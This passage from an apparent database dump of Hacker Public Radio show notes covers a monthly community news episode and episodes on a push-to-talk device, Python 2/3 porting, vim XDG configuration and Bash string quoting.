target=\"_blank\">3343</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2021-05-26</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3343\" target=\"_blank\">The Forth programming language</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=326\" target=\"_blank\">Brian in Ohio</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3344\" target=\"_blank\">3344</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2021-05-27</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3344\" target=\"_blank\">Infosec Podcasts Part 3 - Infosec Career and Personal Development</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=394\" target=\"_blank\">Trey</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3345\" target=\"_blank\">3345</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2021-05-28</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3345\" target=\"_blank\">Audio for Podcasting: Episode 2 - Equalization</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=270\" target=\"_blank\">Thaj Sara</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3346\" target=\"_blank\">3346</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2021-05-31</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3346\" target=\"_blank\">HPR 2020 - 2021 New Years Eve Show Episode 3</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=269\" target=\"_blank\">Honkeymagoo</a></td>\n</tr>\n</table>\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 12 comments in total.</p>\n<h3>Past shows</h3>\n<p>There are 5 comments on\n4 previous shows:</p>\n<ul>\n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2499#comments\" target=\"_blank\">hpr2499</a></strong>\n(2018-03-01) \"<em>Tuning around the HF 40Mtr band</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\" target=\"_blank\">MrX</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2499#3\" target=\"_blank\">Comment 3</a>:\nDave (thelovebug) on 2021-05-19:\n\"Coming to this late, but wow!\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2499#4\" target=\"_blank\">Comment 4</a>:\nMrX on 2021-05-29:\n\"Re: Coming to this late, but wow!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3297#comments\" target=\"_blank\">hpr3297</a></strong>\n(2021-03-23) \"<em>Nextcloud Application Updating</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=273\" target=\"_blank\">ToeJet</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3297#1\" target=\"_blank\">Comment 1</a>:\nychaouche on 2021-05-02:\n\"safe ?\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3317#comments\" target=\"_blank\">hpr3317</a></strong>\n(2021-04-20) \"<em>Reading a manifesto: Towards A Cooperative Technology Movement</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=311\" target=\"_blank\">clacke</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3317#6\" target=\"_blank\">Comment 6</a>:\nAaron C on 2021-05-01:\n\"Raises an excellent point\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3324#comments\" target=\"_blank\">hpr3324</a></strong>\n(2021-04-29) \"<em>Infosec Podcasts Part 1  News and Current Events </em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=394\" target=\"_blank\">Trey</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3324#2\" target=\"_blank\">Comment 2</a>:\nKevin O&#39;Brien on 2021-05-01:\n\"Really liked the show\"</li></ul><br/>\n</li></ul>\n<h3>This month\'s shows</h3>\n<p>There are 7 comments on 6 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3328#comments\" target=\"_blank\">hpr3328</a></strong>\n(2021-05-05) \"<em>Pandas Part 2</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=39\" target=\"_blank\">Enigma</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3328#1\" target=\"_blank\">Comment 1</a>:\nb-yeezi on 2021-05-05:\n\"Another great show\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3328#2\" target=\"_blank\">Comment 2</a>:\nb-yeezi on 2021-05-05:\n\"One more speed gain\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3331#comments\" target=\"_blank\">hpr3331</a></strong>\n(2021-05-10) \"<em>Audio for Podcasting: Episode 1 - The Microphone</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=270\" target=\"_blank\">Thaj Sara</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3331#1\" target=\"_blank\">Comment 1</a>:\nTrey on 2021-05-10:\n\"Great episode.  Thanks for the advice.\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3336#comments\" target=\"_blank\">hpr3336</a></strong>\n(2021-05-17) \"<em>HPR 2020 - 2021 New Years Eve Show Episode 1</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=269\" target=\"_blank\">Honkeymagoo</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3336#1\" target=\"_blank\">Comment 1</a>:\nHonkeymagoo on 2021-05-11:\n\"Thanking\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3337#comments\" target=\"_blank\">hpr3337</a></strong>\n(2021-05-18) \"<em>I like that the boat is stuck</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=382\" target=\"_blank\">Daniel Persson</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3337#1\" target=\"_blank\">Comment 1</a>:\nmpardo on 2021-05-18:\n\"mpardohpr@gmail.com\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3342#comments\" target=\"_blank\">hpr3342</a></strong>\n(2021-05-25) \"<em>HPR 2020 - 2021 New Years Eve Show Episode 2</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=269\" target=\"_blank\">Honkeymagoo</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3342#1\" target=\"_blank\">Comment 1</a>:\nHonkeymagoo on 2021-05-11:\n\"Thanking\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3346#comments\" target=\"_blank\">hpr3346</a></strong>\n(2021-05-31) \"<em>HPR 2020 - 2021 New Years Eve Show Episode 3</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=269\" target=\"_blank\">Honkeymagoo</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3346#1\" target=\"_blank\">Comment 1</a>:\nHonkeymagoo on 2021-05-11:\n\"Thanking\"</li></ul><br/>\n</li></ul>\n\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2021-May/thread.html\" target=\"_blank\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2021-May/thread.html</a>\n\n\n<h2>Events Calendar</h2>\n<p>With the kind permission of <strong>LWN.net</strong> we are linking to\n<a href=\"https://lwn.net/Calendar/\" target=\"_blank\">The LWN.net Community Calendar</a>.</p>\n<p>Quoting the site:</p>\n<blockquote>This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.</blockquote>\n\n<h2>Any other business</h2>\n<h3 id=\"reminder---stuff-you-need-to-know\">Reminder - <em>Stuff you need to know</em></h3>\n<ul>\n<li>HPR will stop as a project if there are not enough shows.</li>\n<li>We do not syndicate shows not produced for HPR.</li>\n<li>You are agreeing to license your show CC-BY-SA.</li>\n<li>You have permission to redistribute your show in its entirety.</li>\n<li>Your show will not be moderated.</li>\n<li>Your show will be signaled as containing explicit content.</li>\n<li>You determine where in the schedule your show will be released.</li>\n<li>We use UTF-8 end to end.</li>\n<li>Your show will be heard by an International Audience.</li>\n<li>We also need emergency shows.</li>\n<li>You will no longer be allowed to edit HPR pages on Wikipedia.</li>\n</ul>\n<h3 id=\"reminder---scheduling-guidelines\">Reminder - <em>Scheduling Guidelines</em></h3>\n<ol type=\"1\">\n<li>You must have your audio recording ready to upload before you pick a slot.</li>\n<li>Always try and fill any free slots that are available in the upcoming two weeks.</li>\n<li>If the queue is filling up then please consider leaving some slots free for new contributors.</li>\n<li>If you have a non urgent show then find a empty week and schedule it then.</li>\n<li>If you are uploading a series of shows, consider scheduling one every two weeks.</li>\n</ol>\n<h3 id=\"older-hpr-shows-on-archive.org\">Older HPR shows on archive.org</h3>\n<p>This month 96 additional shows in the range 1-870 have been uploaded to the Internet Archive.</p>\n<p>Since we don\'t want to upload shows without summaries or tags the <em>old shows</em> and <em>tag and summary</em> projects are now tied together. So we will be all the more welcoming of tag and summary updates submitted as described on the <a href=\"https://hackerpublicradio.org/report_missing_tags.php\">summary page</a>.</p>\n<h3 id=\"tags-and-summaries\">Tags and Summaries</h3>\n<p>Thanks to the following contributor for sending in updates in the past month:<br />\n<b><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\">Dave Morriss</a></b></p>\n<p>Over the period tags and/or summaries have been added to 7 shows which were without them.</p>\n<p>There are currently 377 shows which need a summary and/or tags.</p>\n<p>If you would like to contribute to the tag/summary project visit the summary page at <a href=\"https://hackerpublicradio.org/report_missing_tags.php\" class=\"uri\">https://hackerpublicradio.org/report_missing_tags.php</a> and follow the instructions there.</p>\n\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(3077,'2020-05-19','Video conference Push to Talk',457,'Building the push to talk button missing from many video conference tools','<p>For the sake of archival, \"state of the world\" refers to the COVID-19 pandemic.</p>\r\n<p>The code and CAD files for this project can be found <a href=\"https://github.com/DanNixon/pulseaudio-ptt\">here</a>.</p>\r\n<p>Relevant links:</p>\r\n<ul>\r\n<li><a href=\"https://www.freedesktop.org/wiki/Software/PulseAudio/\">PulseAudio</a> is the sound server used by many Linux distributions</li>\r\n<li><a href=\"https://pypi.org/project/pulsectl/\">pulsectl</a> is a Python library that allows you to control a PulseAudio server</li>\r\n<li><a href=\"https://www.adafruit.com/category/168\">NeoPixels</a> are cool addressable LEDs</li>\r\n<li>The <a href=\"https://www.pjrc.com/teensy/\">Teensy</a> is a small but powerful microcontroller development board</li>\r\n<li><a href=\"https://pythonhosted.org/pyserial/\">pySerial</a> is a library allowing you to use serial ports in Python</li>\r\n<li><a href=\"https://platformio.org/\">PlatformIO</a> is a tool for making software development for embedded platforms easy</li>\r\n</ul>\r\n<p>Early prototype:<br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3077/01_prototype.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3077/01_prototype_thumbnail.jpg\" title=\"Prototype\" alt=\"Electronic parts assembled for testing\" style=\"width:50.0%;height:50.0%\" /></a></p>\r\n<p>Assembled electronics fitted into case ready to be closed:<br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3077/02_pre_assembly.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3077/02_pre_assembly_thumbnail.jpg\" title=\"Pre-assembly\" alt=\"Electronics fitted into case ready for case to be closed\" style=\"width:50.0%;height:50.0%\" /></a></p>\r\n<p>View of the top of the case, showing Cherry switch and NeoPixel LED indicator:<br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3077/03_top.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3077/03_top_thumbnail.jpg\" title=\"Top view\" alt=\"View of the top of the finished device showing button and indicator LED\" style=\"width:50.0%;height:50.0%\" /></a></p>\r\n<p>View of the bottom of the case, showing USB port and some of the nicer M3 screws from my parts bin:<br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3077/04_bottom.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3077/04_bottom_thumbnail.jpg\" title=\"Bottom view\" alt=\"View of bottom of the finished device showing screws and USB port\" style=\"width:50.0%;height:50.0%\" /></a></p>\r\n<p>Plugged in and powered on, showing the muted state:<br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3077/05_muted.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3077/05_muted_thumbnail.jpg\" title=\"Muted state\" alt=\"Device showing the muted state\" style=\"width:50.0%;height:50.0%\" /></a></p>\r\n<p>Button pushed, showing the unmuted/mic live state:<br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3077/06_unmuted.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3077/06_unmuted_thumbnail.jpg\" title=\"Unmuted state\" alt=\"Device with the button pushed showing the unmuted state\" style=\"width:50.0%;height:50.0%\" /></a></p>\r\n',386,103,1,'CC-BY-SA','arduino, linux audio, electronics, hardware',0,0,1),
(3067,'2020-05-05','Getting my Python3 code working in Python2',1526,'What I had to do to get my raspberry Pi PifaceCAD board working after a Debian upgrade.','<p>I have a raspberry Pi model B with the original Pifacecad add on board</p>\r\n<p>I recently upgraded the operating system on my raspberry pi from Wheezy (Debian 7) to Jessie (Debian 8), all seemed fine till I tried to run my Python3 project. It reported that the <code>pifacecad</code> module wasn’t present. I tried to install the module using the standard <code>apt-get</code> command given in the Pifacecad documentation. It installed OK for python 2 but It would not install for python 3 as there was a dependency issue with the <code>python-lirc</code> library. I’m guessing the upgrade broke something.</p>\r\n<p>I installed a fresh minimal installation of raspbian Stretch (Debian 9) onto a new SD card and ran the standard installation command in the Pifacecad documentation. It all installed but there was a warning about Spi which I had forgotten to enable. I enabled this using the <code>raspi-config</code> util and rebooted the pi.</p>\r\n<p>I then tested the installation by running the <code>sys-info.py</code> example that is mentioned in the installation documentation that comes with the pifacecad board.</p>\r\n<p>Running this example gave a warning saying that the pifacecad hardware could not be found at this point I gave up and decided instead to run my project in python 2.</p>\r\n<p>Of course at first the code wouldn’t run using python 2 and I had to do a bit of digging around to find out what was going wrong.</p>\r\n<p>You may find this useful in the unlikely event that you have a project written in python 3 that you want to run in python 2, it might also be useful if you’re going in the other direction.</p>\r\n<p>One other thing that I briefly stumbled upon was that I believe there is a tool available that attempts to convert python 2 code to python 3 I don’t know anything about it and didn’t bother looking to see if there is a tool to go in the opposite direction which is what I needed. I’ve included a link to the tool below <a href=\"https://docs.python.org/2/library/2to3.html\" class=\"uri\">https://docs.python.org/2/library/2to3.html</a></p>\r\n<p>I’ve got the two versions of code loaded into the excellent graphical diff tool <code>meld</code> and I’ll just briefly cover the things that I had to change.</p>\r\n<p>Link to meld diff tool: <a href=\"https://meldmerge.org/\" class=\"uri\">https://meldmerge.org/</a></p>\r\n<p>After some mucking about I got it partially working by installing Piface module for Python 2.7</p>\r\n<p>Had to do the following changes to get the code working in Python 2.7:</p>\r\n<ul>\r\n<li><p>Changed first line of code from python3 to python2 so that code was run using the correct interpreter</p></li>\r\n<li><p>Print statement fixed by see<br />\r\n<a href=\"https://stackoverflow.com/questions/32032697/how-to-use-from-future-import-print-function\" class=\"uri\">https://stackoverflow.com/questions/32032697/how-to-use-from-future-import-print-function</a></p></li>\r\n<li>Python 3 uses the urllib.request command. For Python 3 I used</li>\r\n</ul>\r\n<pre><code>    urllib.request.urlopen(url).read()</code></pre>\r\n<blockquote>\r\n<p><a href=\"https://docs.python.org/3/library/urllib.request.html\" class=\"uri\">https://docs.python.org/3/library/urllib.request.html</a></p>\r\n</blockquote>\r\n<ul>\r\n<li>Python 2 uses the urllib2 command. For Python 2 I used the following</li>\r\n</ul>\r\n<pre><code>    urllib2.urlopen(url).read()</code></pre>\r\n<blockquote>\r\n<p><a href=\"https://docs.python.org/2/library/urllib2.html\" class=\"uri\">https://docs.python.org/2/library/urllib2.html</a></p>\r\n</blockquote>\r\n<ul>\r\n<li><p><code>hostname --all</code> has different output on this version of Debian, now includes mac address which I did not want.</p></li>\r\n<li><p>Getting the wifi ESSID information. I used <code>iwconfig</code> to get this information. The path to iwconfig command changed in this version of Debian and I now had to give the full path to get it to work.</p></li>\r\n<li><p>Python 2 and 3 seemed to handle strings differently when converting from an array to a plain string.</p></li>\r\n<li><p>Python 3 handles input different from python 2</p></li>\r\n<li><p>If python 2 comes across a non numeric value it quits with an exception</p>\r\n<ul>\r\n<li>so for python 2 I used the command</li>\r\n</ul>\r\n<pre><code>      raw_input()</code></pre>\r\n<ul>\r\n<li>for python 3 I used the command</li>\r\n</ul>\r\n<pre><code>      input()</code></pre></li>\r\n</ul>\r\n<p>Two article about incorporating future statements in Python 2<br />\r\n<a href=\"https://docs.python.org/3/library/__future__.html\" class=\"uri\">https://docs.python.org/3/library/__future__.html</a><br />\r\n</p>\r\n<p><a href=\"https://simeonvisser.com/posts/how-does-from-future-import-work-in-python.html\" class=\"uri\">https://simeonvisser.com/posts/how-does-from-future-import-work-in-python.html</a></p>\r\n<p>Related shows about my PiFaceCAD add on board for the raspberry pi</p>\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2933\">hpr2933 :: A walk through my PifaceCAD Python code – Part 1</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2951\">hpr2951 :: A walk through my PifaceCAD Python code – Part 2</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2963\">hpr2963 :: A walk through my PifaceCAD Python code – Part 3</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2976\">hpr2976 :: A walk through my PifaceCAD Python code – Part 4</a></li>\r\n</ul>\r\n',201,38,1,'CC-BY-SA','Python, Programming, Linux, Raspberry Pi',0,0,1),
(3069,'2020-05-07','Linux Inlaws S01E05 Porn and Skynet',4029,'This is Linux Inlaws, a series on free and open source software, black humour, the revolution','<p>Linux Inlaws - a podcast about on topics around free and open source software, any associated contraband, communism / the revolution in general and whatever else fancies your tickle.</p>\r\n<p>Please note that this and other episodes may contain strong language, offensive humor and other certainly not politically correct language - you have been warned (our parents insisted on this disclaimer - happy mum?). Thus the content is not suitable for consumption in the workplace (especially when played back on a speaker in an open plan office or similar environments), any minors under the age of 35 or any pets including fluffy little killer bunnies, your trusty guide dog (unless on speed) and cute t-rexes or other associated dinosaurs.</p>\r\n<ul>\r\n<li>Ubuntu 20.04: <a href=\"https://wiki.ubuntu.com/FocalFossa/ReleaseNotes\" class=\"uri\">https://wiki.ubuntu.com/FocalFossa/ReleaseNotes</a></li>\r\n<li>Kernel 5.6: <a href=\"https://itsfoss.com/linux-kernel-5-6\" class=\"uri\">https://itsfoss.com/linux-kernel-5-6</a></li>\r\n<li>Wireguard: <a href=\"https://www.wireguard.com\" class=\"uri\">https://www.wireguard.com</a></li>\r\n<li>Python 2.7.18: <a href=\"https://mail.python.org/archives/list/python-dev@python.org/message/OFCIETIXLX34X7FVK5B5WPZH22HXV342/\" class=\"uri\">https://mail.python.org/archives/list/python-dev@python.org/message/OFCIETIXLX34X7FVK5B5WPZH22HXV342/</a></li>\r\n<li>Python 404: <a href=\"https://www.python.org/dev/peps/pep-0404\" class=\"uri\">https://www.python.org/dev/peps/pep-0404</a></li>\r\n<li>RTPM: <a href=\"https://en.wikipedia.org/wiki/Real-Time_Messaging_Protocol\" class=\"uri\">https://en.wikipedia.org/wiki/Real-Time_Messaging_Protocol</a></li>\r\n<li>webRTC: <a href=\"https://en.wikipedia.org/wiki/WebRTC\" class=\"uri\">https://en.wikipedia.org/wiki/WebRTC</a></li>\r\n<li>MPEG: <a href=\"https://en.wikipedia.org/wiki/MPEG-4\" class=\"uri\">https://en.wikipedia.org/wiki/MPEG-4</a></li>\r\n<li>VP9: <a href=\"https://en.wikipedia.org/wiki/VP9\" class=\"uri\">https://en.wikipedia.org/wiki/VP9</a></li>\r\n<li>Audio compression: <a href=\"https://en.wikipedia.org/wiki/Data_compression#Audio\" class=\"uri\">https://en.wikipedia.org/wiki/Data_compression#Audio</a></li>\r\n<li>Container formats: <a href=\"https://en.wikipedia.org/wiki/Comparison_of_video_container_formats\" class=\"uri\">https://en.wikipedia.org/wiki/Comparison_of_video_container_formats</a></li>\r\n</ul>',384,111,1,'CC-BY-SA','linux inlaws, communism, free and open source software, adult entertainment, skynet',0,0,1),
(3070,'2020-05-08','making vim xdg compatible',3070,'move your vim configuration out of the home directory','<h1 id=\"xdg-vim-config\">xdg vim config</h1>\r\n<p>To make vim load an alternative config file either use an alias or the VIMINIT variable. i.e. place either <code>alias vim=\"vim -u ~/.config/vim/vimrc\"</code> or <code>VIMINIT=\"source ~/.config/vim/vimrc\"</code> in your <code>.bashrc</code> (ironically, that one is still in my home folder).</p>\r\n<p>Once that is loaded, you should source the following file after \"nocompatible\"</p>\r\n<pre><code>&quot; file: ~/.config/vim/xdg.vim\r\nif empty($XDG_CACHE_HOME)\r\n    let $XDG_CACHE_HOME=$HOME.&quot;/.cache&quot;\r\nendif\r\n\r\nif empty($XDG_CONFIG_HOME)\r\n    let $XDG_CONFIG_HOME=$HOME.&quot;/.config&quot;\r\nendif\r\n\r\nif empty($XDG_DATA_HOME)\r\n    let $XDG_DATA_HOME=$HOME.&quot;/.local/share&quot;\r\nendif\r\n\r\nset directory=$XDG_CACHE_HOME/vim/swap,~/,/tmp\r\nset backupdir=$XDG_CACHE_HOME/vim/backup,~/,/tmp\r\nset undodir=$XDG_CACHE_HOME/vim/undo,~/,/tmp\r\nset viminfo+=n$XDG_CACHE_HOME/vim/viminfo\r\nset runtimepath+=$XDG_CONFIG_HOME/vim,$XDG_CONFIG_HOME/vim/after,$XDG_DATA_HOME/vim/bundle/Vundle.vim,$VIM,$VIMRUNTIME\r\nlet $MYVIMRC=$XDG_CONFIG_HOME.&quot;/vim/vimrc&quot;\r\n</code></pre>\r\n<p>With this file in place you should call it from your vimrc</p>\r\n<pre><code>&quot; file: ~/.config/vim/vimrc\r\nset nocompatible\r\nfiletype off\r\nsource $HOME/.config/vim/xdg.vim\r\ncall vundle#begin()\r\nlet vundle#bundle_dir = expand(&quot;$XDG_DATA_HOME/vim/bundle&quot;)\r\n\r\n&quot; include your calls to Plugin here\r\n\r\ncall vundle#end()\r\nfiletype plugin indent on\r\nsyntax on\r\n\r\nsource ~/.config.\r\n</code></pre>\r\n<p>Note that it is important that all the paths are defined BEFORE Vundle (or whatever is your plugin manager) is called, since the path to it is defined in <code>xdg.vim</code>.</p>\r\n<p>You can check my full vim config at <a href=\"https://gitlab.com/crvs/dotfiles/-/tree/master/.config/vim\">gitlab</a>.</p>\r\n<h2 id=\"references\">References</h2>\r\n<p>The vim script I modified my config from - <a href=\"https://gist.github.com/dkasak/6ae1c6bf0d771155f23b\">https://gist.github.com/dkasak/6ae1c6bf0d771155f23b</a></p>\r\n',385,82,1,'CC-BY-SA','vim, configuration, XDG',0,0,1),
(3071,'2020-05-11','Bash snippet - quotes inside quoted strings',799,'How to add quotes to quoted strings in Bash','<h2 id=\"bash-and-quoted-strings\">Bash and quoted strings</h2>\r\n<p>An issue I just hit in Bash was that I had a quoted string, and I wanted to enclose it in quotes. How to do this?</p>\r\n<p>This is the umpteenth time I have stumbled over this issue, and I realised I had found out how to solve it a while back but the information hadn’t rooted itself into my mind!</p>\r\n<p>I have always been less clear in my mind about quoted strings in Bash than I should be, so, assuming others might have similar confusion I thought I’d try and clarify things in the form of an HPR show.</p>\r\n<h3 id=\"the-problem\">The problem</h3>\r\n<p>The thing I was having difficulties with was an <code>alias</code> definition of a useful pipeline:</p>\r\n<pre><code>nmap -sn 192.168.0.0/24 | awk &#39;/^Nmap scan report/{print &quot;&quot;; print; next}{print}&#39;</code></pre>\r\n<p>This uses <code>nmap</code> (see Ken’s show <a href=\"https://hackerpublicradio.org/eps.php?id=3052\" title=\"hpr3052 :: Locating computers on a network\">3052</a> for a discussion of its use) piped into an <code>awk</code> one-liner that formats the information returned by <code>nmap</code>.</p>\r\n<p>The <code>alias</code> command can be used to store such a command or command sequence as a single simple command. It’s usually added to the <code>~/.bashrc</code> file so it gets added to every Bash shell you start up (note <em>Bash Tips #22</em>, currently being written, will cover these startup files).</p>\r\n<p>An <code>alias</code> definition looks something like this:</p>\r\n<pre><code>alias la=&#39;ls -Al&#39;</code></pre>\r\n<p>The alias itself <code>\'la\'</code> is defined as the command <code>ls -Al</code>.</p>\r\n<p>So how to make my <code>nmap</code> sequence into an alias given that the commands contain both single and double quotes?</p>\r\n<h3 id=\"quoted-strings-in-bash\">Quoted strings in Bash</h3>\r\n<p>Bash is (to my mind) a bit weird with quoted strings.</p>\r\n<p>There are two sorts of quotes in Bash (leaving aside the <em>backquote</em> or <em>backtick</em> – <code>`</code>):</p>\r\n<ul>\r\n<li><p>Single quotes, also called <em>hard</em> quotes (<code>\'</code>). The literal value of characters between the quotes is preserved. Single quotes are not allowed, even if preceded by backslash escape characters.</p></li>\r\n<li><p>Double quotes, also called <em>soft</em> quotes (<code>\"</code>). Certain characters within the quotes have special meanings, such as <code>\'$\'</code> and <code>\'&bsol;\'</code>. Double quotes are allowed in the string when preceded by a backslash.</p></li>\r\n</ul>\r\n<p>There’s a more comprehensive treatment of these quoting types (and others) in the <a href=\"https://www.gnu.org/software/bash/manual/html_node/Quoting.html\" title=\"Bash Reference Manual: 3.1.2 Quoting\">Bash Reference Manual</a>.</p>\r\n<h3 id=\"changing-quotes-and-concatenating-strings\">Changing quotes and concatenating strings</h3>\r\n<p>To make a variable containing a string with embedded quotes you can do this:</p>\r\n<pre><code>$ x=&#39;string1&#39;&quot;&#39;&quot;&#39;string2&#39;\r\n$ echo $x\r\nstring1&#39;string2</code></pre>\r\n<p>What we did here was close <code>\'string1\'</code>, start a new string enclosed in double quotes <code>\"\'\"</code>, then append a second string <code>\'string2\'</code>. Bash treats the three strings as one, but they have to be contiguous. There must be no intervening spaces<a href=\"#fn1\" class=\"footnote-ref\" id=\"fnref1\"><sup>1</sup></a>.</p>\r\n<p>This solution is rather ugly. You could also use Bash string concatenation to do this, though it’s more long-winded:</p>\r\n<pre><code>$ x=&#39;string1&#39;\r\n$ x+=&quot;&#39;&quot;\r\n$ x+=&#39;string2&#39;\r\n$ echo $x\r\nstring1&#39;string2</code></pre>\r\n<p>The same principles hold for double quotes of course:</p>\r\n<pre><code>$ x=&quot;string1&quot;&#39;&quot;&#39;&quot;string2&quot;\r\n$ echo $x\r\nstring1&quot;string2</code></pre>\r\n<p>You’d probably not want to do this though.</p>\r\n<h3 id=\"using-backslashes\">Using backslashes</h3>\r\n<p>You can use backslashes to escape double quotes inside a <em>double</em> quoted string in Bash as we have seen.</p>\r\n<pre><code>$ x=&quot;string1&bsol;&quot;string2&quot;\r\n$ echo $x\r\nstring1&quot;string2</code></pre>\r\n<p>However, as discussed earlier, it’s not possible to use backslashes to escape single quotes inside a single quoted string in Bash. However, outside a string a backslashed character is <em>escaped</em>. For example, if you have files which have spaces in their names, you can quote the name or use the backslash escape to protect the spaces<a href=\"#fn2\" class=\"footnote-ref\" id=\"fnref2\"><sup>2</sup></a>:</p>\r\n<pre><code>$ ls -l a&bsol; file&bsol; with&bsol; spaces.awk\r\n-rw-r--r-- 1 hprdemo hprdemo 0 Apr 22 22:25 &#39;a file with spaces.awk&#39;</code></pre>\r\n<p>So, knowing this, you can exit a string, concatenate with a backslashed quote then restart a string like this:</p>\r\n<pre><code>$ x=&#39;string1&#39;&bsol;&#39;&#39;string2&#39;\r\n$ echo $x\r\nstring1&#39;string2</code></pre>\r\n<h3 id=\"solution\">Solution</h3>\r\n<p>So now we can see how to achieve the alias definition I wanted earlier:</p>\r\n<pre><code>alias show_network=&#39;nmap -sn 192.168.0.0/24 | awk &#39;&bsol;&#39;&#39;/^Nmap scan report/{print &quot;&quot;; print; next}{print}&#39;&bsol;&#39;&#39;&#39;\r\n\r\n</code></pre>\r\n<h3 id=\"epilogue\">Epilogue</h3>\r\n<p>There’s more to be said about this subject, but too much of this stuff is not healthy.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li><p>Ken Fallon’s HPR show where he describes <code>nmap</code>: <a href=\"https://hackerpublicradio.org/eps.php?id=3052\">hpr3052 :: Locating computers on a network</a></p></li>\r\n<li>Bash Reference Manual:\r\n<ul>\r\n<li><a href=\"https://www.gnu.org/software/bash/manual/html_node/Quoting.html\">Quoting</a></li>\r\n</ul></li>\r\n<li>Stack Overflow articles:\r\n<ul>\r\n<li><a 